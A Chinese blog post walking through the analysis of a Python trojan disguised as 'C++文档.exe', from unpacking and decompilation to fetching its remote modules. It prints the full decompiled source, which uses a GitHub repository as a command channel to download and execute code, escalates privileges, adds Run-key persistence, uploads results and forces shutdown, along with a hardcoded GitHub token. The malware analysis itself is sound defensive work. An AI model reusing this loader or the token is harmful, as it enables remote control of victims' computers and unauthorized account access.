python文档.exe分析

起因是有位群u分享了一个恶意程序,关于描述是这样的

-63dcd43644533ba4

比较好奇就下载了一下

image-20230819005146206

到手先分析一下是什么文件以及有没有壳一类的

image-20230819005250844

打开IDA,发现这个PE文件的库基本上都被打包上了,所以才这么大的,这个有点像之前接触过的python打包的文件,也验证了这位群u的话

尝试用工具看看能不能直接解出来里面的文件

image-20230819005855974

比想象中顺利许多,直接就拿到里面的文件了

image-20230819005934224

image-20230819005946578

image-20230819010007806

image-20230819010020796

image-20230819010033230

一下就看群友描述的C++文档这个名字了,不过是pyc,不能直接查看,使用uncompyle6继续转成能查看的py文件

image-20230819010323187

image-20230819010301552

这样就拿到py文件了

下面是源码

import base64, github3, importlib, random, json, threading, time, os
from datetime import datetime
import requests, ctypes, sys, win32api, win32con
from Cryptodome.Cipher import AES
import binascii
from Cryptodome.Util.Padding import pad

# 检查当前用户是否具有管理员权限
def is_admin():
    try:
        # 使用 ctypes 调用 Windows API 来检查是否具有管理员权限
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

# 连接到 GitHub 仓库
def github_connect():
    # GitHub 用户名和访问令牌
    user = 'gfsfjs'
    token = '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'
    # 使用 GitHub3.py 连接到仓库
    session = github3.login(token=token)
    return session.repository(user, 'bhptrojan')

# 从 GitHub 仓库获取文件内容
def get_file_contents(dirname, module_name, repo):
    # 使用 GitHub API 获取指定路径下文件的内容
    return repo.file_contents(f"{dirname}/{module_name}").content

# 主要的恶意程序类
class Trojan:
    # 初始化类的实例
    def __init__(self, id):
        self.id = id
        self.config_file = f"{id}.json"
        self.data_path = f"data/{id}/"
        self.repo = github_connect()

    # 加密函数
    def Encryption(self, contents):
        # 将输入内容使用 AES 加密算法加密
        contents = str(contents)
        # lijunxuan大概是作者名
        key = b'lijunxuan6180000'
        while True:
            # 对内容进行填充,使其长度符合 AES 要求
            if len(contents) % 16 != 0:
                contents += '='
            else:
                break
        aes = AES.new(key, AES.MODE_ECB)
        contents = pad(contents.encode('utf-8'), AES.block_size)
        encrypto_contents = aes.encrypt(contents)
        encrypto_contents = binascii.b2a_hex(encrypto_contents)
        return encrypto_contents

    # 获取管理员权限
    def get_admin(self):
        if is_admin():
            # 提升递归限制,以支持深度递归
            sys.setrecursionlimit(1000000)
            name = 'C++文档.exe'
            path = f"{os.path.abspath('C++文档.exe')}"
            KeyName = 'Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run'
            try:
                # 在注册表中添加自启动项,使程序在用户登录时启动
                key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, KeyName, 0, win32con.KEY_ALL_ACCESS)
                win32api.RegSetValueEx(key, name, 0, win32con.REG_SZ, path)
                win32api.RegCloseKey(key)
            except:
                pass
        else:
            # 如果没有管理员权限,则尝试以管理员权限重新运行当前的脚本
            if sys.version_info[0] == 3:
                ctypes.windll.shell32.ShellExecuteW(None, 'runas', sys.executable, 'C++文档.exe', None, 1)

    # 获取配置文件
    def get_config(self):
        # 从 GitHub 仓库获取配置文件内容
        config_json = get_file_contents('config', self.config_file, self.repo)
        # 使用 base64 解码配置文件内容
        config = json.loads(base64.b64decode(config_json))
        # 导入配置中指定的模块
        for task in config:
            try:
                if task['module'] not in sys.modules:
                    # 动态导入指定的模块
                    exec('import %s ' % task['module'])
            except KeyError:
                break
        return config

    # 执行模块
    def module_runner(self, module):
        # 运行指定的模块并获取结果保存到 result 变量
        result = sys.modules[module].run()
        # 存储模块执行结果
        self.store_module_result(result, module)

    # 存储模块执行结果
    def store_module_result(self, data, module):
        # 获取当前系统信息
        l = requests.get('http://myip.ipip.net').text
        message = datetime.now().isoformat()
        message = message.split('T')[1]
        weekday = str(datetime.now()).split(' ')[0]
        # 构建上传路径
        remote_path = f"data/{self.id}/{l.split(' ')[1].split(':')[1]}{os.getlogin()}/{weekday}/{message}({module} module).data"
        # 对数据进行序列化
        bindata = bytes('%r' % data, 'utf-8')
        # 将结果上传到 GitHub 仓库
        self.repo.create_file(remote_path, message, bindata)

    # 主程序运行循环
    def run(self):
        while True:
            # 获取管理员权限
            self.get_admin()
            # 获取配置信息
            config = self.get_config()
            # 循环执行配置中的模块
            for task in config:
                # 创建线程以运行指定模块
                thread = threading.Thread(target=(self.module_runner), args=(task['module'],))
                thread.start()
                # 随机等待一段时间,以模拟正常操作的变化
                time.sleep(random.randint(1, 10))
            # 随机等待一段时间,以模拟正常操作的变化
            time.sleep(random.randint(1800, 10800))

# 自定义模块加载器
class GitImporter:
    def __init__(self):
        self.current_module_code = ''
    
    # 查找模块
    def find_module(self, name, path=None):
        print('[*] Attemping to retrieve %s ' % name)
        self.repo = github_connect()
        # 从 GitHub 仓库获取指定模块的代码
        new_library = get_file_contents('modules', f"{name}.py", self.repo)
        if new_library is not None:
            # 解码获取的模块代码
            self.current_module_code = base64.b64decode(new_library)
            return self
    
    # 加载模块
    def load_module(self, name):
        spec = importlib.util.spec_from_loader(name, loader=None, origin=(self.repo.git_url))
        new_module = importlib.util.module_from_spec(spec)
        # 在新模块的命名空间中执行获取的模块代码
        exec(self.current_module_code, new_module.__dict__)
        # 将新模块添加到 sys.modules 中
        sys.modules[spec.name] = new_module
        return new_module

if __name__ == '__main__':
    # 添加自定义模块加载器
    sys.meta_path.append(GitImporter())
    # 创建 Trojan 类的实例
    trojan = Trojan('trojan')
    trojan.run()

可以看出逻辑还是比较清晰的,一开始导入库,后面会判断是否是管理员权限,获取额外的恶意代码并进行解码,执行恶意内容并进行上传,自启动等一系列行为

现在应该尝试看看额外下载的内容了,借助原本就有的代码拼接一个可以获取恶意内容的脚本

import base64
import github3
import os

def github_connect():
    user = 'gfsfjs'
    token = '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'
    session = github3.login(token=token)
    return session.repository(user, 'bhptrojan')

def get_file_contents(dirname, module_name, repo):
    return repo.file_contents(f"{dirname}/{module_name}").content


if __name__ == '__main__':
    repo = github_connect()
    config = json.loads(base64.b64decode(get_file_contents('config', 'trojan.json', repo)))
    for task in config:
        module_name = task['module'] + '.py'
        module_content = get_file_contents('modules', module_name, repo)
		with open(module_name, 'wb') as module_file:
    		module_file.write(module_content.encode('utf-8'))


image-20230819222038595

image-20230819222059623

image-20230819222112500

分别进行base64解码

dirlister.py

def run(**args):
  import os
  print("[*] In listdir module.")
  return os.listdir()

get_ip.py

def run(**args):
  import requests
  response = requests.get("http://myip.ipip.net").text
  print("[*] In get_ip module.")
  return response

shut_down.py

def run(**args):
  import os
  import time
  print("[*] It's shutdown now!!!")
  os.system("shutdown -s -t 0")
  str1 = "It's shutdown now!!!"
  return str1

image-20230819222235426
image-20230819222314192

image-20230819222421659

到目前为止已经完全搞清楚了这个恶意程序会进行什么操作了

首先,该恶意程序会尝试通过 is_admin()判断是否具有管理员权限,如果没有管理员权限,尝试以管理员权限重新运行当前的脚本,

其次,尝试将程序自身注册为系统的启动项,以便在用户登录时自动启动,然后使用使用github3库连接到指定的github仓库,然后下载恶意代码,并进行目录枚举,获取ip这些动作,将执行结果加密并上传到github仓库之后进行关机操作

头一次进行这类分析,希望可以指出不足之处

要是真有转载的老哥标一下原始链接就好

posted @ 2023-08-19 22:46  tharsis  阅读(66)  评论(0编辑  收藏  举报